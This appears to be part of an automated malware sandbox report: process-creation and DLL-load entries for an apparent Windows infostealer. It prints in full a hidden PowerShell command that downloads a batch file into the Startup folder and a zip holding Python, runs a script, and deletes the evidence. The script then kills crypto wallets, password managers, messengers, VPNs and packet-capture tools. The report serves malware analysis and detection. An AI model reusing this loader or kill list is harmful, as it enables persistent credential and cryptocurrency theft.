Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM DiscordCanary.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM burp.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Ethereal.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM EtherApe.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM fiddler.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerSvc.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerUI.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM snpa.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM solarwinds.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM tcpdump.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telerik.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM wireshark.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM winpcap.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telegram.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM ArmoryQt.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM "Atomic Wallet.exe"	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM bytecoin-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Coinomi.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Element.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Exodus.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Guarda.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM KeePassXC.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM NordVPN.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM OpenVPNConnect.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM seamonkey.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Signal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla-server-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM keepassxc-proxy.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM nordvpn-service.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM steam.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM walletd.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM waterfox.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Discord.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM DiscordCanary.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM burp.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Ethereal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM EtherApe.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM fiddler.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerSvc.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerUI.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM snpa.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM solarwinds.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM tcpdump.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telerik.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM wireshark.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM winpcap.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telegram.exe	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: python310.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: pywintypes310.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
